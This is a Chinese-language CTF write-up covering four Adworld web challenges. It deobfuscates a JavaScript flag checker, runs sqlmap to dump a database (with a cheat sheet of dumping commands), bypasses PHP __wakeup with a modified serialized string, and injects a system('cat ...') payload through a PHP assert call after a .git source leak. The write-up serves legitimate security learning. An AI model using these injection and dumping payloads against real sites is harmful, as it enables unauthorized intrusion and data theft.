攻防世界 web进阶笔记

0x02 NaNNaNNaNNaN-Batman

首先下载附件得到web100,用notepad++打开看下,是一些js乱码
在这里插入图片描述
我把源码贴到下面


看到后面有个eval()函数,
eval(string),他可以计算括号内字符串并执行其中的js代码,
所以里面的_是个定义的字符串,也很明显引号内的js代码,有个函数定义啥的,百度后说将eval()函数改为alert()函数,然后弹出了源码
攻防世界 web进阶笔记_第1张图片
把格式转了下

function $(){
	var e=document.getElementById("c").value;
	if(e.length==16)
		if(e.match(/^be0f23/)!=null)
			if(e.match(/233ac/)!=null)
				if(e.match(/e98aa$/)!=null)
					if(e.match(/c7be9/)!=null){
						var t=["fl","s_a","i","e}"];
						var n=["a","_h0l","n"];
						var r=["g{","e","_0"];
						var i=["it'","_","n"];
						var s=[t,n,r,i];
						for(var o=0;o<13;++o){
							document.write(s[o%4][0]);
							s[o%4].splice(0,1)
							}
					}
			}
						document.write('');
						delete _

代码很简单咯,首先满足长度16,然后后面匹配正则表达式
直接拼一下就好了
另外也可以看看他后面定义的四个变量数组t,n,r,i,它后面for循环就依次取它每个数组第一个元素然后用splice删除元素从而改变原数组,也可以直接拼四个数组咯

0x03 NewsCenter

打开页面,有让你输入内容search
猜测是sql注入(虽然我不会)
我先随便输了个1然后抓了个包,右键保存为txt文件
攻防世界 web进阶笔记_第2张图片
放到虚拟机启动sqlmap

sqlmap -r 1.txt --dbs查看数据库
sqlmap -r 1.txt -D news --dump 查看news数据库内容

攻防世界 web进阶笔记_第3张图片

  • 一些常见sqlmap命令:
sqlmap -u "注入地址"     --dbs          // 列举数据库
sqlmap -u "注入地址" --tables -D "数据库" // 列举数据库的表名
sqlmap -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据

sqlmap -r "含http头的文件"     --dbs          // 列举数据库
sqlmap -r "含http头的文件" --tables -D "数据库" // 列举数据库的表名
sqlmap -r "含http头的文件" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -r "含http头的文件" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据
0x04 unserialize3

这个题目给暗示了反序列化
首先打开是一段代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

是一个类 好像没写完,下面有个code像个参数,发现定义了__wakeup方法,百度一下就会出现魔术方法这个字眼,

  • 魔术方法一般都是双下划线开头,然后像__wakeup()方法就是一个例子,serialize()和unserialize()方法,他们在执行前,会先进行一个判断有没有魔术方法,如果存在则先执行魔术方法,再进行序列化或反序列化,这是第一个要用的
  • 然后第二个我们可以猜到__wakeup()函数肯定有存在的意义,百度一下wakeup()函数漏洞会发现它与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。那也很明显了我们要利用这个得到flag

所以我们先把代码弄下来,写一个php文档输出序列化后的字符串
攻防世界 web进阶笔记_第4张图片
执行一下得到
攻防世界 web进阶笔记_第5张图片
在这里我们根据修改属性个数值来绕过__wakeu()方法
我们在后面添上 ?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

0x05 mfw

首先打开链接 看一下源码,发现有个flag.php
攻防世界 web进阶笔记_第6张图片
但是我们访问页面空白,然后修改的时候我当时不小心?page=1按了下回车,然后显示
在这里插入图片描述
然后点一点页面上其他发现
攻防世界 web进阶笔记_第7张图片
想到有git源码泄露咯,访问.git/
攻防世界 web进阶笔记_第8张图片
然后我自己电脑装的是python3.5,这个要用到的工具需要2的版本,所以我就临时去装了python2.7,安装好之后,首先添加环境变量,我自己装在C盘下(默认目录),然后打开,有个python.exe,把它改成python2.exe,这是为了区分版本
攻防世界 web进阶笔记_第9张图片
在接下来,里面有个Script文件夹是pip的,这个也要添加进环境变量
在这里插入图片描述
环境到现在准备好了 ,准备去Github上下载GitHack,下载好后去cmd运行,因为是双python环境,先选择python2,在运行命令
攻防世界 web进阶笔记_第10张图片
当然我们也可以直接去文件夹看,里面的确有个flag.php但是没啥东西,就很迷,其他的都看一下,然后发现index.php
攻防世界 web进阶笔记_第11张图片
看到这里其实是蒙的,然后找了大佬啊哈哈哈哈哈哈哈
攻防世界 web进阶笔记_第12张图片
assert — 检查一个断言是否为 FALSE,如果是false,返回1,否则返回0
用get方法传参page然后file和输入有关并且在strpos函数里面,需要闭合绕过
构造payload

?page=').system('cat templates/flag.php');//
但是进去之后是空白,要右键看源码,就有flag了

你可能感兴趣的:(CTF)